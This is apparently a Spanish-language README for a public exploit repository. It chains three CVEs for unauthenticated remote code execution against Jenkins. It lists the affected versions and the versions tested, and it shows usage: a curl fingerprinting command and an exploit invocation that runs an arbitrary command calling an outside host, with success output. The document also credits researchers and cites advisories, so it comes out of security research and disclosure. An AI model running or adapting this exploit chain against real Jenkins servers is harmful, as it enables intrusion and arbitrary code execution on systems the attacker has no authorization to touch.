awesome-jenkins-rce-2019

No hay RCE sin autenticación previa en Jenkins desde mayo de 2017, ¡pero este es el definitivo!

Encadena CVE-2018-1000861, CVE-2019-1003005 y CVE-2019-1003029 para lograr una ejecución remota de código sin autenticación previa más fiable y elegante.

Lista de versiones afectadas

• ANONYMOUS_READ deshabilitado

  • Versión de Jenkins < 2.138

• ANONYMOUS_READ habilitado (o con una cuenta de usuario normal)

  • Fecha de compilación de Jenkins < 2019-01-28

Uso

$ curl -s -I http://jenkins/| grep X-Jenkins
X-Jenkins: 2.137
X-Jenkins-Session: 20f72c2e
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000

$ python exp.py http://jenkins/ 'curl orange.tw'
[*] ANONYMOUS_READ disable!
[*] Bypass with CVE-2018-1000861!
[*] Exploit success!(it should be :P)

Probado en

• Jenkins 2.53
• Jenkins 2.122
• Jenkins 2.137
• Jenkins 2.138 con ANONYMOUS_READ habilitado
• Jenkins 2.152 con ANONYMOUS_READ habilitado
• Jenkins 2.153 con ANONYMOUS_READ habilitado
• Script Security Plugin 1.43
• Script Security Plugin 1.48

Agradecimientos

• @orange_8361 por CVE-2018-1000861
• @0ang3el por CVE-2019-1003005
• @webpentest por CVE-2019-1003029

Parte de las diapositivas de mi charla en HITB AMS 2019:

Referencias

• Hacking Jenkins Parte 1 - Jugando con el enrutamiento dinámico
• Hacking Jenkins Parte 2 - Abusando de la metaprogramación para RCE no autenticado!
• Aviso de seguridad de Jenkins 2018-12-05
• Aviso de seguridad de Jenkins 2019-01-28
• Aviso de seguridad de Jenkins 2019-03-06